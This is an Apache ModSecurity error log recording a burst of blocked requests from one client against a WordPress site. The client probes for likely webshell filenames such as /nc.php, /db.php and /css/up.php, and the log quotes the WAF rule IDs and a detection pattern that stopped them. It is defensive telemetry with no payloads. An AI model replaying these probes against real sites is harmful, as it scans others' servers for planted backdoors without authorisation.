[Sun Dec 21 19:57:39.954448 2025] [:error] [pid 59070:tid 59149] [client 20.2.26.82:16387] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/AxAo.php"] [unique_id "aUfgs33dhXne9KX1kgIfcQAAAJU"]
[Sun Dec 21 19:57:40.309694 2025] [:error] [pid 59070:tid 59132] [client 20.2.26.82:16427] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/AxAo.php"] [unique_id "aUfgtH3dhXne9KX1kgIfcgAAAIQ"]
[Sun Dec 21 19:57:40.611882 2025] [:error] [pid 59158:tid 59184] [client 20.2.26.82:2012] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/sketch/404.php"] [unique_id "aUfgtI7NvyNF8ab5VgUa-gAAANg"]
[Sun Dec 21 19:57:40.950891 2025] [:error] [pid 59070:tid 59152] [client 20.2.26.82:16508] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/sketch/404.php"] [unique_id "aUfgtH3dhXne9KX1kgIfdgAAAJg"]
[Sun Dec 21 19:57:41.339383 2025] [:error] [pid 59067:tid 59084] [client 20.2.26.82:16421] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/sketch/404.php"] [unique_id "aUfgtctpsOP1NfIK_qI_gwAAAAo"]
[Sun Dec 21 19:57:41.677458 2025] [:error] [pid 59067:tid 59095] [client 20.2.26.82:16389] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/sketch/404.php"] [unique_id "aUfgtctpsOP1NfIK_qI_hAAAABU"]
[Sun Dec 21 19:57:42.106863 2025] [:error] [pid 59068:tid 59108] [client 20.2.26.82:2004] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/db.php"] [unique_id "aUfgthmLyLqWUlrjwydreAAAAEc"]
[Sun Dec 21 19:57:42.436308 2025] [:error] [pid 59158:tid 59160] [client 20.2.26.82:16463] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/db.php"] [unique_id "aUfgto7NvyNF8ab5VgUa_gAAAMA"]
[Sun Dec 21 19:57:42.928877 2025] [:error] [pid 59068:tid 59119] [client 20.2.26.82:16458] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/db.php"] [unique_id "aUfgthmLyLqWUlrjwydrfQAAAFI"]
[Sun Dec 21 19:57:43.320453 2025] [:error] [pid 59067:tid 59080] [client 20.2.26.82:2008] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/db.php"] [unique_id "aUfgt8tpsOP1NfIK_qI_iAAAAAY"]
[Sun Dec 21 19:57:43.657030 2025] [:error] [pid 59158:tid 59167] [client 20.2.26.82:16456] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nc.php"] [unique_id "aUfgt47NvyNF8ab5VgUbAQAAAMc"]
[Sun Dec 21 19:57:44.045659 2025] [:error] [pid 59070:tid 59132] [client 20.2.26.82:16478] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nc.php"] [unique_id "aUfguH3dhXne9KX1kgIfjwAAAIQ"]
[Sun Dec 21 19:57:44.363912 2025] [:error] [pid 59158:tid 59184] [client 20.2.26.82:16507] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nc.php"] [unique_id "aUfguI7NvyNF8ab5VgUbBwAAANg"]
[Sun Dec 21 19:57:44.686835 2025] [:error] [pid 59067:tid 59087] [client 20.2.26.82:1997] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nc.php"] [unique_id "aUfguMtpsOP1NfIK_qI_jwAAAA0"]
[Sun Dec 21 19:57:45.028078 2025] [:error] [pid 59068:tid 59124] [client 20.2.26.82:1950] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file1.php"] [unique_id "aUfguRmLyLqWUlrjwydrgQAAAFc"]
[Sun Dec 21 19:57:45.382385 2025] [:error] [pid 59068:tid 59117] [client 20.2.26.82:16509] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file1.php"] [unique_id "aUfguRmLyLqWUlrjwydrgwAAAFA"]
[Sun Dec 21 19:57:45.776074 2025] [:error] [pid 59067:tid 59095] [client 20.2.26.82:16487] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file1.php"] [unique_id "aUfguctpsOP1NfIK_qI_mQAAABU"]
[Sun Dec 21 19:57:46.100668 2025] [:error] [pid 59067:tid 59080] [client 20.2.26.82:16475] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file1.php"] [unique_id "aUfgustpsOP1NfIK_qI_mgAAAAY"]
[Sun Dec 21 19:57:46.409353 2025] [:error] [pid 59067:tid 59096] [client 20.2.26.82:2001] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file32.php"] [unique_id "aUfgustpsOP1NfIK_qI_nQAAABY"]
[Sun Dec 21 19:57:46.764356 2025] [:error] [pid 59158:tid 59183] [client 20.2.26.82:16457] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file32.php"] [unique_id "aUfguo7NvyNF8ab5VgUbFQAAANc"]
[Sun Dec 21 19:57:47.087627 2025] [:error] [pid 59070:tid 59129] [client 20.2.26.82:16401] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file32.php"] [unique_id "aUfgu33dhXne9KX1kgIfkgAAAIE"]
[Sun Dec 21 19:57:47.461357 2025] [:error] [pid 59068:tid 59120] [client 20.2.26.82:16437] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file32.php"] [unique_id "aUfguxmLyLqWUlrjwydriwAAAFM"]
[Sun Dec 21 19:57:47.785271 2025] [:error] [pid 59067:tid 59084] [client 20.2.26.82:16450] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hook.php"] [unique_id "aUfgu8tpsOP1NfIK_qI_pQAAAAo"]
[Sun Dec 21 19:57:48.107677 2025] [:error] [pid 59067:tid 59077] [client 20.2.26.82:16482] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hook.php"] [unique_id "aUfgvMtpsOP1NfIK_qI_pwAAAAM"]
[Sun Dec 21 19:57:48.425899 2025] [:error] [pid 59067:tid 59074] [client 20.2.26.82:16413] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hook.php"] [unique_id "aUfgvMtpsOP1NfIK_qI_qgAAAAA"]
[Sun Dec 21 19:57:48.763051 2025] [:error] [pid 59067:tid 59086] [client 20.2.26.82:16488] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hook.php"] [unique_id "aUfgvMtpsOP1NfIK_qI_rQAAAAw"]
[Sun Dec 21 19:57:49.087797 2025] [:error] [pid 59070:tid 59138] [client 20.2.26.82:1988] [client 20.2.26.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aUfgvX3dhXne9KX1kgIflgAAAIo"]
[Sun Dec 21 19:57:49.408904 2025] [:error] [pid 59158:tid 59177] [client 20.2.26.82:16396] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file4.php"] [unique_id "aUfgvY7NvyNF8ab5VgUbHAAAANE"]
[Sun Dec 21 19:57:49.729048 2025] [:error] [pid 59158:tid 59165] [client 20.2.26.82:16451] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file4.php"] [unique_id "aUfgvY7NvyNF8ab5VgUbHgAAAMU"]
[Sun Dec 21 19:57:50.077772 2025] [:error] [pid 59067:tid 59084] [client 20.2.26.82:1986] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file4.php"] [unique_id "aUfgvstpsOP1NfIK_qI_swAAAAo"]
[Sun Dec 21 19:57:50.442002 2025] [:error] [pid 59070:tid 59135] [client 20.2.26.82:16494] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file4.php"] [unique_id "aUfgvn3dhXne9KX1kgIfmAAAAIc"]
[Sun Dec 21 19:57:50.774523 2025] [:error] [pid 59067:tid 59075] [client 20.2.26.82:16468] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sto.php"] [unique_id "aUfgvstpsOP1NfIK_qI_ugAAAAE"]
[Sun Dec 21 19:57:51.072214 2025] [:error] [pid 59070:tid 59151] [client 20.2.26.82:16447] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sto.php"] [unique_id "aUfgv33dhXne9KX1kgIfmwAAAJc"]
[Sun Dec 21 19:57:51.399804 2025] [:error] [pid 59070:tid 59137] [client 20.2.26.82:1984] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sto.php"] [unique_id "aUfgv33dhXne9KX1kgIfoAAAAIk"]
[Sun Dec 21 19:57:51.719932 2025] [:error] [pid 59067:tid 59079] [client 20.2.26.82:2022] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sto.php"] [unique_id "aUfgv8tpsOP1NfIK_qI_vQAAAAU"]
[Sun Dec 21 19:57:52.055192 2025] [:error] [pid 59158:tid 59162] [client 20.2.26.82:16439] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ffile.php"] [unique_id "aUfgwI7NvyNF8ab5VgUbIwAAAMI"]
[Sun Dec 21 19:57:52.348903 2025] [:error] [pid 59068:tid 59118] [client 20.2.26.82:16433] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ffile.php"] [unique_id "aUfgwBmLyLqWUlrjwydrlwAAAFE"]
[Sun Dec 21 19:57:52.674190 2025] [:error] [pid 59068:tid 59120] [client 20.2.26.82:1992] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ffile.php"] [unique_id "aUfgwBmLyLqWUlrjwydrmQAAAFM"]
[Sun Dec 21 19:57:52.996355 2025] [:error] [pid 59068:tid 59115] [client 20.2.26.82:2006] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ffile.php"] [unique_id "aUfgwBmLyLqWUlrjwydrnAAAAE4"]
[Sun Dec 21 19:57:53.306946 2025] [:error] [pid 59067:tid 59086] [client 20.2.26.82:1947] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aUfgwctpsOP1NfIK_qI_xgAAAAw"]
[Sun Dec 21 19:57:53.578920 2025] [:error] [pid 59067:tid 59095] [client 20.2.26.82:16467] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aUfgwctpsOP1NfIK_qI_yAAAABU"]
[Sun Dec 21 19:57:53.860376 2025] [:error] [pid 59067:tid 59091] [client 20.2.26.82:16441] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aUfgwctpsOP1NfIK_qI_yQAAABE"]
[Sun Dec 21 19:57:54.171753 2025] [:error] [pid 59068:tid 59102] [client 20.2.26.82:1922] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aUfgwhmLyLqWUlrjwydrpQAAAEE"]
[Sun Dec 21 19:57:54.481014 2025] [:error] [pid 59070:tid 59142] [client 20.2.26.82:2009] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp1.php"] [unique_id "aUfgwn3dhXne9KX1kgIfsQAAAI4"]
[Sun Dec 21 19:57:54.797994 2025] [:error] [pid 59070:tid 59131] [client 20.2.26.82:16397] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp1.php"] [unique_id "aUfgwn3dhXne9KX1kgIfswAAAIM"]
[Sun Dec 21 19:57:55.108344 2025] [:error] [pid 59070:tid 59146] [client 20.2.26.82:16402] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp1.php"] [unique_id "aUfgw33dhXne9KX1kgIftQAAAJI"]
[Sun Dec 21 19:57:55.406246 2025] [:error] [pid 59070:tid 59144] [client 20.2.26.82:16414] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp1.php"] [unique_id "aUfgw33dhXne9KX1kgIftgAAAJA"]
[Sun Dec 21 19:57:55.721292 2025] [:error] [pid 59068:tid 59105] [client 20.2.26.82:16497] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/up.php"] [unique_id "aUfgwxmLyLqWUlrjwydrqAAAAEQ"]
[Sun Dec 21 19:57:56.053819 2025] [:error] [pid 59070:tid 59151] [client 20.2.26.82:2047] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/up.php"] [unique_id "aUfgxH3dhXne9KX1kgIfvgAAAJc"]
[Sun Dec 21 19:57:56.365280 2025] [:error] [pid 59158:tid 59163] [client 20.2.26.82:16412] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/up.php"] [unique_id "aUfgxI7NvyNF8ab5VgUbJQAAAMM"]
[Sun Dec 21 19:57:56.720088 2025] [:error] [pid 59070:tid 59131] [client 20.2.26.82:16431] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/up.php"] [unique_id "aUfgxH3dhXne9KX1kgIfwwAAAIM"]
[Sun Dec 21 19:57:57.019434 2025] [:error] [pid 59068:tid 59101] [client 20.2.26.82:16419] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "aUfgxRmLyLqWUlrjwydrrQAAAEA"]
[Sun Dec 21 19:57:57.331690 2025] [:error] [pid 59068:tid 59121] [client 20.2.26.82:16484] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "aUfgxRmLyLqWUlrjwydrrwAAAFQ"]
[Sun Dec 21 19:57:57.649502 2025] [:error] [pid 59067:tid 59090] [client 20.2.26.82:2002] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "aUfgxctpsOP1NfIK_qI_0gAAABA"]
[Sun Dec 21 19:57:57.982166 2025] [:error] [pid 59068:tid 59105] [client 20.2.26.82:1933] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "aUfgxRmLyLqWUlrjwydrtAAAAEQ"]
[Sun Dec 21 19:57:58.323852 2025] [:error] [pid 59070:tid 59136] [client 20.2.26.82:16394] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "aUfgxn3dhXne9KX1kgIfygAAAIg"]
